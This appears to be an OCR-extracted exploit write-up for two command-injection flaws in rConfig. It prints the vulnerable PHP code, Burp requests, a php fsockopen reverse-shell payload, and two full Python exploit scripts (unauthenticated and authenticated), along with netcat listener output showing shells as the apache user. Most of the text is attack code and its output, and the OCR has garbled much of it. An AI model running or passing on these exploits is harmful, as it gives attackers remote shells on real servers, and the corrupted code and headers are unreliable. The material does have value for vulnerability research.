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<?php
$rootUname = $_GET[ 'rootUname'];
$array = array();

if (ini_get('safe_mode')) {

$array[ 'phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;1lt;font
class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed
with the installation&amp;1lt;/strong&amp;gt;&amp;1lt;/font&amp;gt;br/&amp;gt;";
} else {

$array[ 'phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font
class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is
off&amp;1lt;/strong&amp;gt;&amp;1lt;/font&amp;gt;&amp;1lt;br/&amp;gt;";
}

v

$rootTestCmdl = 'sudo -S -u . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1’;
exec($rootTestCmdl, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777"') {

$array[ 'rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font
class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good
&amp; lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;1lt;br/&amp;gt;";
} else {

$array[ 'rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font
class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0]
'&amp;1t;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;1lt;br/&amp;gt;";

$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1’;
exec($rootTestCmd2, $cmdOutput, $err);

echo json_encode($array);
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GET .’insta'L'L,"lib,’ajaxHandIers,’ajaxServerSettingsChk‘php1rootuname:9.3b’.69%64%2m2:i|-| P/1.1 " HTTP/1.1 200 OK
Host: 192.168.178.133 Date: Mon, 23 Sep 2019 15:14:57 GMT
User-Agent: Mozillas5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecke/20100101 Firefox/59.0 Server: Apache/2,4.6 (Cent0S) OpenSsSLs1.0.2k-fips PHP/7.2.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*%/%;q=0.8 ¥-Powered-By: PHP/7.2. 22
Accept -Language: en-US,en;q=0.5 Content -Length: 384
Accept-Encoding: gzip, deflate Connection: close
Cockie: PHPSESSID=dbc2967815c8d27e96245bfd20336940 Content -Type: text/html; charset=UTF-&
Connection: close
Upgrade-Insecure-Requests: 1 [uid=48(apache) gid=48(apache) groups=48(apache]{"phpSafeHode": "=

php safe mode is off<\/strong=<"/font=<br\/=", "rootDetails": "<st

details provided have not passed: uid=48{apache) gid=48(apache)
groups:48[apachel<\fstrong><\f‘Font_>/i.\ 22"
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Sinstall/lib/ajaxHandlers/ajaxServerSettingsChk . php?rootUname=%3bphp%20-r
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Host: 192.168.178.133

User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux xB6_84; rv:59.0)

Gecko /20100101 Firefox/559.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Cookie; PHPSESSIC=dbc2967815c8d27e96245hTd20336940

Connection: close

Upgrade-Insecure-Requests: 1

Terminal

askar@arrow
snc -vlp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.178.133] port 1337 [tcp/*] accepted (family 2, sport 38
156)
sh: no job control in this shell

sh-4.25% id

id

uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2%
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import requests

import sys

from urllib import quote

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3
2>&3"); "#' "' .format(ip, port))

install_path = target + "/install”

req = requests.get(install_path, verify=False)
if req.status_code == 404:

print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()

elif req.status_code == 200:
print "[+] Installation directory found!"
url to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"

print "[+] Check your listener !

requests.get(url_to_send, verify=False)
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Terminal
J . askar@arrow
-7 preauth-exploit.py $nc -vlp 1337
ploit.py target ip port Listening on [0.0.0.0] (family @, port 1337)
. Connection from [192.168.178.133] port 1337 [tcp/*] accepted (family 2, sport 38160)
preauth-exploit.py https://192.168.178.133 192.168.178.1 1337 sh: no job control in this shell
nd! sh-4.25 id

+] check your listener ! (apache) gid=48(apache) groups=a8(apache)
r

: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000

link/loopback ©0:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
id_Lft forever preferred_Lft forever
128 scope host
ft forever preferred_lft forever
: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default ql
1000
link/ether ©0:0c:29:e8:8e:3f brd Ffiffff
inet 192.168.178.133/24 brd 192.168.178.255 scope global dynamic ens33
valid_lft 1296sec preferred_Lft 1296sec
sh-4.2§ 2 (www.anquanke.con
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if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm']))
{

$searchTerm = '"' . $ GET['searchTerm'] . '"';
$catId = $_GET['catId'];

$catCommand = $_GET['catCommand'];

$nodeId = $_GET['nodeld'];

$grepNumLineStr = $_GET[ 'numLinesStr'];
$grepNumLine = $_GET[ 'noLines'];

$username = $_SESSION[ 'username'];

if (empty($nodeld)) {

$nodeId = '';
} else {

$nodeId = '/' . $nodeld . '/';
}

$returnArr = array();

$db2->query("SELECT categoryName from ~categories™ WHERE id = :catId");
$db2->bind(':catId', $catId);

$resultCat = $db2->resultset();

$returnArr['category'] = $resultCat[0]['categoryName'];

$fileCount = array();

$subDir = "";

if (lempty($returnArr['category'])) {
$subDir = "/" . $returnArr['category'];

}

exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -1",
$fileCountArr);
$returnArr['fileCount'] = $fileCountArr['0'];

$command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . '
xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo
File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';

exec($command, $searchArr);
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Burp Suite Professional v1

Burp Intruder Repeater Windew Help

Target | Prowy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
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Raw | Headers | Hex

Target: https://192.168.178.133 EJ EJ

User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86_64; rv
ccept: text/htnl,application/xhtnl+xnl, application/xul;
Accept -Language: en-US,en;q=0.5

Accept -Encoding: gzip, deflate

Cookie: PHPSESSID=ccdcecdaaccd7c56bhs3h249985a1658
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: nax-age=0

[ET lllb/crud/sear:h‘crud‘uhn?sear:h‘rerm:a&:atCummandlxzzﬂ.zzueués(‘sleep‘l.zcs 1%23 rrrpll.l N
Host: 192.168.178.133 r

9.0) Gecko/20160161 Firefox/59.0

0.9,%/4;0=0.8

]
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]
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pe a search term

Done

PRI

HTTP/1.1 200 OK

Date: Fri, 27 Sep 2019 19:44:52 GMT

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.2.22
X-Powered-By: PHP/7.2.22

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragna: no-cache

Content-Length: 58

Connection: close

Content-Type: text/html; charset=UTF-8

{"category":null, "fileCount":"0", "searchResult": "Enpty"}
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""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");"
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import requests

import sys

from urllib import quote

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"

exit()

target = sys.argv[1]

username = sys.argv[2]

password

sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

request = requests.session()

login_info = {
"user": username,
"pass": password,
"sublogin": 1

login_request = request.post(
target+"/1lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True

dashboard_request = request.get(target+"/dashboard.php”, allow_redirects=False)

if dashboard_request.status_code == 200:

print "[+] LoggedIn successfully"

payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3
2>&3"); "#' "' .format(ip, port)

encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand=
{0}".format(quote(payload))

print "[+] triggering the payload"

print "[+] Check your listener !"

exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:

print
exit()

[-1 Wrong credentials !"
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askar@arrow
$python2.7 postauth-exploit.py
[+] Usage : ./exploit.py target username password ip port
askar@arrow
$python2.7 postauth-exploit.py https://192.168.178.133 admin admin 192.168.178.1 1337
[+] LoggedIn successfully
[+] triggering the payload
ﬁ+] Check your listener !

Terminal

askar@arrow
$nc -vlp 1337
Listening on [0.8.6.8] (family 8, port 1337)
Connection from [192.168.178.133] port 1337 [tcp/*] accepted (family 2, sport 43932)
no job control in this shell
28 i

: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc nogqueue state UNKNOWN group default gqlen 1608
link/loopback 60:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred Lft forever
inet6 ::1/128 scope host
valid_Lft forever preferred Lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1568 qdisc pfifo_fast state UP group default
qlen 1000
link/ether 00:6c:29:e8:8e:3f brd ff:ff:ff:FF:ff:ff
inet 192.168.178.133/24 brd 192.168.178.255 scope global dynamic ens33
valid_1ft 1216sec preferred_1ft 1216sec
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